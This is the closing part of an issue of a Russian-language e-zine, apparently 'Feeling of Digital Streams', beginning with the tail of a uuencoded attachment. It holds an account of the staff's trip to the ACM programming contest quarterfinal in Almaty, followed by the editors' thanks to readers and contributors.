M)_W@?/\+ADSS1.'E\I6PI[]R!+8K!-3WM<45=)R$C7_=7@:I>\C<J-T]@L2<
MHO@KTZ98''P@Q1<R>1WMF)"\]>,8$KKA,)&DKE.R98)A0K+(X,*(V";0L6X^
M(7GH9[I5*(?@>V3FPBUP")>8-,",4,%"]8(SNZ,G)L)$$'^2/.+;*6_\*6R)
MICL]6[!;6TS:DGN[&=^V/VR?3^*9SXY1^K&/N_CD=^EC,!C<__QS!W_[)_T;
MGOMN.!C=OWM_\,6]NR,W&-X;WOWB#V[P,0"P]/1PYH<R\T!85>[BK&W'JR=I
M)O>)//^Y:&>+R^UVW3[;9_MLG^VS?;;/]MD^VV?[;)_MLWVVS_:YKL]_`5K7
&>/L`R```
`
end
sum -r/size 164/11076
 ---< cut here >---




                    ,?$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                    %;'                                 `;%
                              Acm 1/4 kz subregion
                    %;.                                 ,;%
                    `?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




 %$@! ПЕРВЫЕ ДНИ

 Сформировали  несколько команд. У каждой - свой программист, переводчик и
 ответственный за алгоритмы. Кто - то готовился  долго и упорно, кому - то
 сообщили недавно.Вообщем на первый день выдали несколько заданий.Все про-
 стые, тем более всё на русском языке.
 Наша команда: Scorpio, best_mowi, shmel решили  не  всё, но  достаточно -
 прошли в следующий тур.

 Задания  средней  сложности (сортировка, высш. мат, етс..), но  отводится
 катастрофически мало времени - 30 минут на 5 заданий.

 Думаем, что уже одной ногой в Алматы - ошибаемся.. Последний тур пригото-
 вил 2 задания на английском языке с финала прошлого года (Прага).

 
 %$@! АЛМАТЫ

 Красивый большой город. Такая сила и мощь.. Вкусное пиво, красивые девуш-
 ки, дорогие машины. 

 Уже успели спросить интервью на тему отечественного авиатранспорта. Отве-
 тили: "Лучше не летать ))" и отправились в один из грамотных игровых клу-
 бов Алматы - "Skynet". В cs играло много кланья ([], |, etc), ну и мяса..
 Первые пять раундов - абсолютные звания паштетов. Разыгрались через мину-
 ты две - три..

 За регистрацию - 10$ с команды. Выдают каждому бэдж, памятку, пару бумаг.
 Рассказывают о правилах, что разрешено, что запрещено..


 %$@! ЧЕТВЕРТЬ

 Тестим PCMS (программа контроля за лидирующими командами, служба отправки
 решённых заданий, оповещатель). Глючит.. но вроде  работает -  через нес-
 колько минут начало 1/4 финала чемпионата мира по программированию, кото-
 рый проводит фирма IBM в казахстанском субрегионе.

 На 11 заданий 5 часов. Все условия на английском  языке (тексты заданий в
 принципе простые - всего лишь пару раз пришлось смотреть в словарь).
 Есть задания простые, есть сложные да и вдобавок их трудно различить меж-
 ду собой, что крайне необходимо - за любое решённое задание 1 балл.
 Так что не имеет смысла решать самое трудное задание все пять часов, про-
 игрывать, а потом орать: "Я мега кул кодер" - всем уже всё равно на тебя.

 Есть задачи ловушки - простое задание,  решение кажется  элементарным, но
 на него не хватит и недели. Мы подписали себе смертный приговор - выбрали
 именно такое задание. С обезумевшими красными лицами решали все 5 часов -
 ничего не получалось. Под конец с трудом переобулись, конкретно решили на
 бумаге 3 задания - на набор времени не хватило.


 %$@! ПОСЛЕ

 На заключительной конференции, где присутствовали питерские организаторы,
 представитель Майкрософта в Казахстане, глава "Хай тек фор хьюман", етс -
 вручали подарки (часы, книги, футболки и т.д.).

 Нам ничего не дарили - но мы и не расстраивались , так как ехали в Алматы
 без моральной и  психологической подготовки к чемпионату, когда некоторые
 личности готовились за год.


 %$@! PS

 Вот так и отдыхает стафф журнала "Feeling of Digital Streams" ;D




                     ,?$$;$!$$$$$$$$!$$$$$$$$$$!$$$$.
                     %;'                          `;%
                                Close words          
                     %;.                          ,;%
                     `?$$$$$;$!$$$$$$$$$$$$$$$$!$$$$'




              Спасибо всем читателям, друзьям, родителям.  Безуслов-
      но, без вас журнала бы не было.

      Спасибо defaced, спасибо ace7.
              2x спасибо ace7 ;), n00F'у <[email protected]> за  от-
      личное ascii.logo к этому выпуску, а также
              Goodwind'у <[email protected]>, который предлагал вариан-
      ты оформления зайна.

              и ещё... мы пока, конечно же, не доросли до того уров-
      ня, чтобы передавать приветы в адрес fsb / fbr, как это делает
              free_hunter, но  чувакам из  местной cybercops конторы
      это можем сделать запросто ))

              кей. кей. ещё увидимся..




                            (c) 2003-2005 FDS